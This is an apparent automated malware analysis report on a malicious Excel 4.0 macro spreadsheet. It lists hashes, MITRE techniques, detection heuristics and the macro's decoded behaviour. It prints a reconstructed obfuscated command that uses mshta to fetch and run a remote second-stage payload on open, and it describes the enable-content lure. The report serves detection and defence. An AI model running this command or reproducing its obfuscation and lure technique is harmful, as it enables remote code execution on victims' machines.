Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 70e95f331eb156f6…

MALICIOUS

Office (OLE) / .XLS

64.6 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 56315b65bf507a9cf8a74610942b3193 SHA-1: 00e55f935ced377f8bddacf36c79b61bb4b86d7b SHA-256: 70e95f331eb156f66b90fab5381c1372d5d4eb11e3ad8d2271c48074faf73a26
100 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an Excel 4.0 (XLM) macro-enabled spreadsheet that uses an Auto_Open macro to execute a command. The command, reconstructed from obfuscated string literals, is 'cmd /c msh^t^a http://0xc12a24f5/c.html'. This command is designed to download and execute a second-stage payload from the specified URL. The document also contains a lure instructing the user to enable editing and content, a common tactic for macro-based malware.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes